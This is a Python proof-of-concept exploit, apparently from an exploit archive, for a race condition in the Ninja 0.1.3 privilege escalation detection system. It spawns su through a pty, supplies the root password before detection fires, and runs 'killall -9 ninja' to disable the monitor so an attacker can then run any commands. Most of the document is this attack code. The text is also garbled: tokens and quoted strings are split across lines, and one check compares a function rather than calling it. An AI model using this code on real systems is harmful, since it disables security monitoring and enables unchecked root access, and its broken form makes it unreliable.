#[Title] Ninja privilege escalation detection and prevention system race condition
#[Author] Ben 'highjack' Sheppard
#[URL] http://highjack.github.io/
#[Description] There is a small delay between the time of execution of a command and the time privelege escalation is detected.
#It is therefore possible to use a pty to run a command such as su and provide the password faster than it can be detected.
#The following PoC becomes root using su and issues killall -9 ninja. The attacker can then run any commands that they wish.
#[Software Link] http://forkbomb.org/ninja/
#[Date] 29/04/2015
#[Version] 0.1.3
#[Tested on] Kali Linux
#See me hitting every open port, 'cause im banging on their system while I'm staying out of the court
import pty, os, sys, subprocess
pid, fd = pty.fork()
#begin config
user =
"root"
password =
"mypassword"
#change
this
:)
command =
"killall -9 ninja"
#end config
def usage():
print
""
"
@@@ @@@ @@@ @@@@@@@@ @@@ @@@ @@@ @@@@@@ @@@@@@@ @@@ @@@
@@@ @@@ @@@ @@@@@@@@@ @@@ @@@ @@@ @@@@@@@@ @@@@@@@@ @@@ @@@
@@! @@@ @@! !@@ @@! @@@ @@! @@! @@@ !@@ @@! !@@
!@! @!@ !@! !@! !@! @!@ !@! !@! @!@ !@! !@! @!!
@!@!@!@! !!@ !@! @!@!@ @!@!@!@! !!@ @!@!@!@! !@! @!@@!@!
!!!@!!!! !!! !!! !!@!! !!!@!!!! !!! !!!@!!!! !!! !!@!!!
!!: !!! !!: :!! !!: !!: !!! !!: !!: !!! :!! !!: :!!
:!: !:! :!: :!: !:: :!: !:! !!: :!: :!: !:! :!: :!: !:!
:: ::: :: ::: :::: :: ::: ::: : :: :: ::: ::: ::: :: :::
: : : : :: :: : : : : : ::: : : : :: :: : : :::
[Title] Ninja privilege escalation detection and prevention system 0.1.3 race condition
[Author] Ben
'highjack'
Sheppard
[URL] http:
//highjack.github.io/
[Description] There
is
a small delay between the time of execution of a command and the time privelege escalation
is
detected.
It
is
therefore possible to use a pty to run a command such
as
su and provide the password faster than it can be detected.
The following PoC becomes root
using
su and issues killall -9 ninja. The attacker can then run any commands that they wish.
""
"
executions = 0
def check_procs():
p1 = subprocess.Popen([
"ps"
,
"aux"
], stdout=subprocess.PIPE)
p2 = subprocess.Popen([
"grep"
,
"root"
], stdin=p1.stdout, stdout=subprocess.PIPE)
p3 = subprocess.Popen([
"grep"
,
"/sbin/ninja"
], stdin=p2.stdout, stdout=subprocess.PIPE)
output = p3.communicate()[0]
if
output !=
""
:
if
executions != 0:
sys.exit(0)
return
True
else
:
return
False
def kill_ninja():
if
pid == 0:
os.execvp(
"su"
, [
"su"
, user,
"-c"
, command])
elif pid > 0:
try
:
os.read(fd, 1024)
os.write(fd, password +
"\n"
)
os.read(fd,1024)
os.wait()
os.close(fd)
except:
usage()
print
"[+] Ninja is terminated"
sys.exit(0)
while
True:
kill_ninja()
if
(check_procs == True):
executions = executions + 1
kill_ninja()